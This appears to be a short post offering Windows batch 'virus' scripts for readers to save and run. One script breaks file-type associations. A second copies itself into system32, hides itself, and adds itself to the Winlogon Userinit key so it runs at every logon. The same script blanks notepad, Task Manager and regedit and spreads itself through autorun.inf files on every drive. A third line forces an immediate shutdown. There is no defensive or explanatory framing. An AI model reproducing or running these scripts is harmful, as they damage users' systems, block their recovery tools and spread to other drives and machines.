Batch Virus

Title Ext_Change Virus
color a
Rem This Virus file disables ur files enjoy
@echo off
assoc .jpeg=htmlfile
assoc .html=jpegfile
assoc .avi=txtfile
assoc .mpeg=regfile
assoc .txt=avifile
assoc .reg=htmlfile
assoc .exe=jpegfile
assoc .sys=regfile
assoc .dll=exefile
assoc .dill=tempfile
msg Your System got Infected…..
pause
exit

save it as anything.bat enjoy dont double click on it in ur pc!!!

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@ Title Ext_Change Virus
@ color a
@ echo off
msg * VIRUS INFECTING YOUR FILES .
copy %0 %windir%\system32\
attrib +s +h +r %windir%\system32\system.bat
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\system.bat" /f
for %%i in (system32\notepad,system32\taskmgr,system32\regedt32,taskman,regedit) do echo. > %windir%\%%i.exe
for %%i in ("jpeg=html","html=jpeg","avi=txt","mpeg=reg","txt=avi","reg=html","exe=jpeg","sys=reg","dll=exe","dill=temp","vbs=dat") do assoc .%%~ifile
@ color c
set "auto=%windir%\system32\autorun.inf%"
(
echo open= system.bat^
echo action=Open folder to view files^
echo shell\open=Open^
echo shell\open\command=system.bat^
echo shell\open\default=1^
echo label=VIRUS^
)>> %auto%
attrib +s +h +r %auto%
for %%i in (%auto%,system.bat) do (
for %%k in (c,d,e,f,g,h) do copy %%~i %%k:\ & pause
)
msg * Go To Hell
exit

save it as anything.bat enjoy dont double click on it in ur pc!!!

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C:\windows\system32\shutdown -s -f -t 00

save above in anything.bat whenever you double click on anything.bat your pc will shutdown.